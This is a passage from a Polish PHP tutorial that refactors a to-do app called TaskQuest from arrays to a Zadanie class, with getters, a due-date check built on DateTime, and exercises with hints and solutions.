    new Odznaka(nazwa: 'Pierwsze zadanie', xp: 10),
    new Odznaka(nazwa: 'Streak 7 dni', xp: 50),
    new Odznaka(nazwa: 'Poziom 5', xp: 100)
];

$sumaXp = 0;

foreach ($odznaki as $odznaka) {
    $sumaXp += $odznaka-&gt;pobierzXp();
}

echo "&lt;p&gt;Odznaki: " . count($odznaki) . ", razem " . $sumaXp . " XP&lt;/p&gt;";   // 3, razem 160 XP</code></pre>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">count()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">array_filter()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">usort()</code> działają tak samo jak dotąd. Zmienia się tylko sposób odczytu elementu: zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">$element['xp']</code> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">$element-&gt;pobierzXp()</code>. Tak właśnie przebudujemy listę zadań w TaskQuest: <strong>tablica zostaje, zmienia się to, co w niej leży</strong>.</p>



<p class="wp-block-paragraph">Gdy zapomnisz o zmianie i potraktujesz obiekt jak tablicę (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$odznaka['xp']</code>), PHP od razu zatrzyma skrypt:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught Error: Cannot use object of type Odznaka as array in ... on line ...</code></pre>



<p class="wp-block-paragraph">Ten komunikat będzie Twoją mapą w sekcji 5 — wskaże każde miejsce, którego jeszcze nie przerobiłaś/nie przerobiłeś.</p>



<h2 class="wp-block-heading">3.8 Klasa w osobnym pliku</h2>



<p class="wp-block-paragraph">W brudnopisie klasa i kod, który z niej korzysta, są w jednym pliku. W aplikacji każda klasa dostaje własny plik w katalogu <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/</code> — tak jak funkcje mają swoje pliki w <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/</code>. Plik z klasą to samo PHP (bez zamykającego <code class="prettyprint lang-sql" style="font-size: 0.85em;">?&gt;</code>), a strona, która tworzy obiekt, musi go wcześniej dołączyć:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/classes/Zadanie.php';</code></pre>



<p class="wp-block-paragraph">Bez tego: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Error: Class "Zadanie" not found</code>.</p>



<h2 class="wp-block-heading">3.9 Typowe błędy</h2>



<ul class="wp-block-list">
<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">$obiekt-&gt;$wlasciwosc</code></strong> — dolar po strzałce. PHP szuka wtedy właściwości o nazwie zapisanej w zmiennej <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wlasciwosc</code> (której nie ma) → ostrzeżenia <code class="prettyprint lang-sql" style="font-size: 0.85em;">Undefined variable</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">Undefined property</code>.</li>



<li><strong>Brak <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;</code> w metodzie</strong> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">return $xp;</code> zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">return $this-&gt;xp;</code>. Wewnątrz metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code> to zwykła zmienna lokalna, której nie ma (Eksperyment 2).</li>



<li><strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">_construct</code> z jednym podkreślnikiem</strong> — to wtedy zwykła metoda, PHP jej nie wywoła przy <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code>. Obiekt powstaje bez danych, a błąd wychodzi dopiero przy pierwszym odczycie właściwości: <code class="prettyprint lang-sql" style="font-size: 0.85em;">must not be accessed before initialization</code>.</li>



<li><strong>Konstruktor, który nie ustawia wszystkich właściwości</strong> — ten sam błąd co wyżej (Eksperyment 3).</li>



<li><strong>Obiekt traktowany jak tablica</strong> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot use object of type ... as array</code>.</li>



<li><strong>Klasa nie dołączona</strong> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">Class "..." not found</code>.</li>



<li><strong>Mylenie klasy z obiektem</strong> — <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie-&gt;pobierzTytul()</code> nie ma sensu: plan nie ma tytułu, ma go konkretne zadanie (<code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;pobierzTytul()</code>).</li>
</ul>



<h1 class="wp-block-heading">4. SAMODZIELNIE — klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code></h1>



<p class="wp-block-paragraph"><strong>PROJEKT.</strong> Od tego miejsca kończymy pracę na odznakach. Tworzysz <strong>nowy katalog projektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/classes/</code></strong> i w nim <strong>nowy plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code></strong>. Sam plik niczego w aplikacji nie zmienia, dopóki żadna strona go nie dołączy — dlatego najpierw przetestujesz klasę z brudnopisu, a do aplikacji podłączysz ją w sekcji 5.</p>



<p class="wp-block-paragraph">Napisz klasę <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>, która zastąpi tablicę zadania.</p>



<p class="wp-block-paragraph"><strong>Właściwości</strong> — wszystkie <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code>, z typami. Nazwy i typy <strong>takie same jak klucze tablicy</strong> (patrz Lekcja 9 i 11):</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Właściwość</th><th>Typ</th><th>Znaczenie</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$id</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td><td>numer zadania</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytul</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td>tytuł (surowy, „brudny” — czyścimy go przy wyświetlaniu, jak dotąd)</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$opis</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td>opis</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$termin</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td>termin w formacie <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$wykonane</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code></td><td>czy zadanie jest wykonane</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$xp</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td><td>nagroda XP za zadanie</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Konstruktor</strong> — sześć parametrów o tych samych nazwach, <strong>w tej samej kolejności co kolumny w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code></strong>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">opis</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code>.</p>



<p class="wp-block-paragraph"><strong>Metody</strong> (wszystkie <code class="prettyprint lang-sql" style="font-size: 0.85em;">public</code>):</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Metoda</th><th>Zwraca</th><th>Co robi</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzId()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td><td>numer zadania</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytul()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td>tytuł</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzOpis()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td>opis</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTermin()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">string</code></td><td>termin</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">czyWykonane()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code></td><td>czy zadanie jest wykonane</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzXp()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">int</code></td><td>nagroda XP</td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">void</code></td><td>ustawia zadanie jako wykonane</td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><strong>Świadomie nie ma</strong> metod typu „ustaw XP”, „ustaw tytuł”, „odznacz zadanie”. Zadanie w TaskQuest można dziś tylko <strong>wykonać</strong> — więc tylko na to obiekt pozwala. Jeśli kiedyś aplikacja będzie potrzebowała edycji, dopiszemy metodę z odpowiednimi regułami.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uwaga na nazwę <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytul()</code>.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_grywalizacji.php</code> istnieje <strong>funkcja</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytul(int $poziom)</code>, która zwraca tytuł <strong>gracza</strong> („Nowicjusz”&#8230;). Metoda <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;pobierzTytul()</code> zwraca tytuł <strong>zadania</strong>. PHP ich nie pomyli: metodę zawsze wywołujemy na obiekcie (po strzałce), funkcję — bez obiektu. To kolejny „tytuł” w TaskQuest (obok tytułu gracza <code class="prettyprint lang-sql" style="font-size: 0.85em;">$tytul</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$nazwaStrony</code>) — pilnuj, o który chodzi.</p>
</blockquote>



<p class="wp-block-paragraph"><strong>Sprawdź</strong> (brudnopis — zastąp całą zawartość <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/classes/Zadanie.php';

$zadanie = new Zadanie(
    id: 1,
    tytul: 'Nauczyć się OOP',
    opis: 'Klasa, obiekt, metoda',
    termin: '2026-10-10',
    wykonane: false,
    xp: 30
);

echo "&lt;p&gt;" . $zadanie-&gt;pobierzId() . ". " . $zadanie-&gt;pobierzTytul() . " — " . $zadanie-&gt;pobierzXp() . " XP&lt;/p&gt;";
echo "&lt;p&gt;" . $zadanie-&gt;pobierzOpis() . " (termin: " . $zadanie-&gt;pobierzTermin() . ")&lt;/p&gt;";

var_dump($zadanie-&gt;czyWykonane());
$zadanie-&gt;oznaczJakoWykonane();
var_dump($zadanie-&gt;czyWykonane());</code></pre>



<p class="wp-block-paragraph">Oczekiwane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">1. Nauczyć się OOP — 30 XP</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">Klasa, obiekt, metoda (termin: 2026-10-10)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool(false)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool(true)</code>. Żadnych ostrzeżeń.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Zbuduj klasę dokładnie według wzoru <code class="prettyprint lang-sql" style="font-size: 0.85em;">Odznaka</code> z punktu 3.5: najpierw sześć właściwości, potem konstruktor, który przepisuje sześć parametrów do sześciu właściwości, potem gettery. <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code> przypomina <code class="prettyprint lang-sql" style="font-size: 0.85em;">zwiekszNagrode()</code>, tylko jest prostsza — nie ma reguły do sprawdzenia.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

class Zadanie
{
    private int $id;
    // ... pozostałe pięć właściwości ...

    public function __construct(
        int $id,
        string $tytul,
        // ... pozostałe cztery parametry ...
    ) {
        $this-&gt;id = $id;
        // ...
    }

    public function pobierzId(): int
    {
        return $this-&gt;id;
    }

    // ... pozostałe gettery ...

    public function oznaczJakoWykonane(): void
    {
        // ... zmiana jednej właściwości ...
    }
}
</code></pre>



<p class="wp-block-paragraph">Długą listę parametrów zapisujemy w kilku liniach — nawias <code class="prettyprint lang-sql" style="font-size: 0.85em;">)</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">{</code> konstruktora stoją wtedy razem w jednej linii.</p>
</details>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">classes/Zadanie.php</code></strong></p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

class Zadanie
{
    private int $id;
    private string $tytul;
    private string $opis;
    private string $termin;
    private bool $wykonane;
    private int $xp;

    public function __construct(
        int $id,
        string $tytul,
        string $opis,
        string $termin,
        bool $wykonane,
        int $xp
    ) {
        $this-&gt;id = $id;
        $this-&gt;tytul = $tytul;
        $this-&gt;opis = $opis;
        $this-&gt;termin = $termin;
        $this-&gt;wykonane = $wykonane;
        $this-&gt;xp = $xp;
    }

    public function pobierzId(): int
    {
        return $this-&gt;id;
    }

    public function pobierzTytul(): string
    {
        return $this-&gt;tytul;
    }

    public function pobierzOpis(): string
    {
        return $this-&gt;opis;
    }

    public function pobierzTermin(): string
    {
        return $this-&gt;termin;
    }

    public function czyWykonane(): bool
    {
        return $this-&gt;wykonane;
    }

    public function pobierzXp(): int
    {
        return $this-&gt;xp;
    }

    public function oznaczJakoWykonane(): void
    {
        $this-&gt;wykonane = true;
    }
}
</code></pre>
</details>



<h2 class="wp-block-heading">4b. SAMODZIELNIE — <code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code></h2>



<p class="wp-block-paragraph">Teraz metoda, która daje TaskQuestowi nową umiejętność. Dopisz w klasie <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>, <strong>pod <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code></strong>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie(): bool</code></pre>



<p class="wp-block-paragraph">Zadanie jest <strong>po terminie</strong>, gdy <strong>nie jest wykonane</strong> i jego termin jest <strong>wcześniejszy niż dzisiaj</strong>. Zadanie z terminem na dzisiaj nie jest jeszcze po terminie — użytkownik ma czas do końca dnia. Wykonane zadanie nigdy nie jest po terminie.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Zadanie</th><th><code class="prettyprint lang-sql" style="font-size: 0.85em;">czyPoTerminie()</code></th></tr></thead><tbody><tr><td>niewykonane, termin wczoraj</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">true</code></td></tr><tr><td>niewykonane, termin dzisiaj</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></td></tr><tr><td>niewykonane, termin jutro</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></td></tr><tr><td><strong>wykonane</strong>, termin wczoraj</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Wykorzystaj wiedzę z Lekcji 7 (<code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code>).</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Najpierw obsłuż prosty przypadek: jeśli zadanie jest wykonane — od razu <code class="prettyprint lang-sql" style="font-size: 0.85em;">return false</code>. Potem zrób dwa obiekty <code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code>: „dzisiaj” i termin zadania. Uwaga: <code class="prettyprint lang-sql" style="font-size: 0.85em;">new DateTime()</code> bez argumentu to „teraz” (z godziną), a <code class="prettyprint lang-sql" style="font-size: 0.85em;">new DateTime('today')</code> to „dzisiaj o północy” — tak samo jak data z terminu, która też ma godzinę 00:00.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<p class="wp-block-paragraph">Obiekty <code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code> można porównywać zwykłymi operatorami <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">&gt;</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">==</code> — PHP porównuje wtedy daty i godziny:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$pierwsza = new DateTime('2026-09-20');
$druga = new DateTime('2026-09-21');

var_dump($pierwsza &lt; $druga);   // bool(true)
</code></pre>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">    public function czyPoTerminie(): bool
    {
        if ($this-&gt;wykonane) {
            return false;
        }

        $dzisiaj = new DateTime('today');
        $termin = new DateTime($this-&gt;termin);

        return $termin &lt; $dzisiaj;
    }
</code></pre>



<p class="wp-block-paragraph">Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">'today'</code>, a nie samo <code class="prettyprint lang-sql" style="font-size: 0.85em;">new DateTime()</code>? Przy terminie na dzisiaj porównywalibyśmy „dziś 00:00” z „dziś 14:37” — i zadanie z dzisiejszym terminem byłoby już „po terminie”. Pełne testy tej metody (z datami liczonymi od dzisiaj, żeby nie zależały od dnia lekcji) — w sekcji 7.</p>
</details>



<h1 class="wp-block-heading">5. Włączamy klasę <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> do TaskQuest — krok po kroku</h1>



<p class="wp-block-paragraph"><strong>PROJEKT.</strong> Od teraz zmieniamy pliki aplikacji. Plan:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">PRZED (Lekcja 14)                          PO (Lekcja 15)
$zadania = &#91;                               $zadania = &#91;
    &#91;'id' =&gt; 1, 'tytul' =&gt; ..., ...],          obiekt Zadanie (id 1),
    &#91;'id' =&gt; 2, 'tytul' =&gt; ..., ...],          obiekt Zadanie (id 2),
    ...                                        ...
];                                         ];

$zadanie&#91;'tytul']                          $zadanie-&gt;pobierzTytul()
$zadanie&#91;'wykonane']                       $zadanie-&gt;czyWykonane()
</code></pre>



<p class="wp-block-paragraph">Plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> <strong>się nie zmienia</strong>. Obiekty powstają przy wczytywaniu pliku i zamieniają się z powrotem w wiersze przy zapisie — a pomiędzy nimi cała aplikacja pracuje na obiektach.</p>



<p class="wp-block-paragraph">Pracujemy „od źródła danych”: najpierw miejsce, w którym zadania powstają (<code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code>), a potem po kolei wszystkie miejsca, które z nich korzystają. Między krokami aplikacja będzie się <strong>wysypywać</strong> — i to dobrze: komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot use object of type Zadanie as array</code> wskaże plik i linię, którą trzeba jeszcze przerobić.</p>



<h2 class="wp-block-heading">Krok 1 — dołącz klasę</h2>



<p class="wp-block-paragraph"><strong>Pliki projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodaj-zadanie.php</code>.</strong> W bloku <code class="prettyprint lang-sql" style="font-size: 0.85em;">// --- pliki aplikacji ---</code>, <strong>zaraz pod</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once</code> pliku <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code>, dodaj:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">require_once __DIR__ . '/classes/Zadanie.php';</code></pre>



<p class="wp-block-paragraph">Klasę dołączamy przed plikami z funkcjami, bo <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_plikow.php</code> będzie tworzyć obiekty <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>. (Ściśle mówiąc, PHP potrzebuje klasy dopiero w chwili wywołania <code class="prettyprint lang-sql" style="font-size: 0.85em;">new Zadanie(...)</code>, ale kolejność „najpierw klasy, potem funkcje, które z nich korzystają” łatwiej czytać.)</p>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">zaloguj.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">wyloguj.php</code> nie korzystają z zadań — nic w nich nie zmieniamy.</p>



<h2 class="wp-block-heading">Krok 2 — SAMODZIELNIE: <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> tworzy obiekty</h2>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>.</strong></p>



<p class="wp-block-paragraph">W <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> znajdź miejsce, w którym z tablicy <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wiersz</code> (jednej linii pliku CSV) powstaje zadanie i jest dopisywane do <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code>. Dziś jest to tablica z kluczami <code class="prettyprint lang-sql" style="font-size: 0.85em;">'id'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'tytul'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'opis'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'termin'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'wykonane'</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">'xp'</code>. Zamień ją na obiekt <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code>. <strong>Konwersje typów zostają takie same</strong>: <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">(int)</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">=== '1'</code>.</p>



<p class="wp-block-paragraph">Nie zmieniaj niczego innego — sprawdzanie pliku, <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code>, pomijanie pustych linii, <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code> i wyjątki zostają. <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code> nadal pilnuje, żeby wiersz był poprawny, <strong>zanim</strong> zrobimy z niego obiekt.</p>



<p class="wp-block-paragraph"><strong>Po zmianie</strong> odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. Spodziewany wynik: <strong>błąd</strong>, np.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught Error: Cannot use object of type Zadanie as array in ...\includes\funkcje_zadan.php on line ...</code></pre>



<p class="wp-block-paragraph">Tak ma być — <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> zwraca już obiekty, a funkcje z <code class="prettyprint lang-sql" style="font-size: 0.85em;">funkcje_zadan.php</code> jeszcze traktują je jak tablice. To następny krok.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">To jedna instrukcja: zamiast <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania[] = [ ... ];</code> będzie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania[] = new Zadanie( ... );</code>. Użyj argumentów nazwanych — nazwy parametrów konstruktora są takie same jak dotychczasowe klucze.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph">Było (u Ciebie fragment może być zapisany trochę inaczej — ważne jest miejsce, w którym powstaje tablica zadania):</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">            $zadania&#91;] = &#91;
                'id' =&gt; (int) $wiersz&#91;0],
                'tytul' =&gt; $wiersz&#91;1],
                'opis' =&gt; $wiersz&#91;2],
                'termin' =&gt; $wiersz&#91;3],
                'wykonane' =&gt; $wiersz&#91;4] === '1',
                'xp' =&gt; (int) $wiersz&#91;5]
            ];
</code></pre>



<p class="wp-block-paragraph">Jest:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">            $zadania&#91;] = new Zadanie(
                id: (int) $wiersz&#91;0],
                tytul: $wiersz&#91;1],
                opis: $wiersz&#91;2],
                termin: $wiersz&#91;3],
                wykonane: $wiersz&#91;4] === '1',
                xp: (int) $wiersz&#91;5]
            );
</code></pre>



<p class="wp-block-paragraph">Zapis prawie się nie zmienił — ale różnica jest duża. Tablica przyjęłaby literówkę w kluczu albo brak klucza. Konstruktor wymaga <strong>wszystkich sześciu</strong> wartości, a nazwy parametrów są sprawdzane: <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytuł: ...</code> z polską literą skończy się od razu błędem <code class="prettyprint lang-sql" style="font-size: 0.85em;">Unknown named parameter $tytuł</code>.</p>
</details>



<h2 class="wp-block-heading">Krok 3 — SAMODZIELNIE: funkcje zadań pytają obiekt</h2>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code>.</strong></p>



<p class="wp-block-paragraph">W pięciu funkcjach zamień odwołania do kluczy tablicy na wywołania metod. <strong>Logika każdej funkcji zostaje taka sama.</strong></p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Funkcja</th><th>Było</th><th>Jest</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzWykonaneZadania()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie['wykonane']</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;czyWykonane()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzAktywneZadania()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie['wykonane']</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;czyWykonane()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">sumujXp()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie['xp']</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;pobierzXp()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">sortujPoTerminie()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$a['termin']</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$b['termin']</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$a-&gt;pobierzTermin()</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$b-&gt;pobierzTermin()</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">nastepneIdZadania()</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie['id']</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie-&gt;pobierzId()</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">walidujNoweZadanie()</code> <strong>zostaje bez zmian</strong> — pracuje na tekstach z formularza, a nie na zadaniu.</p>



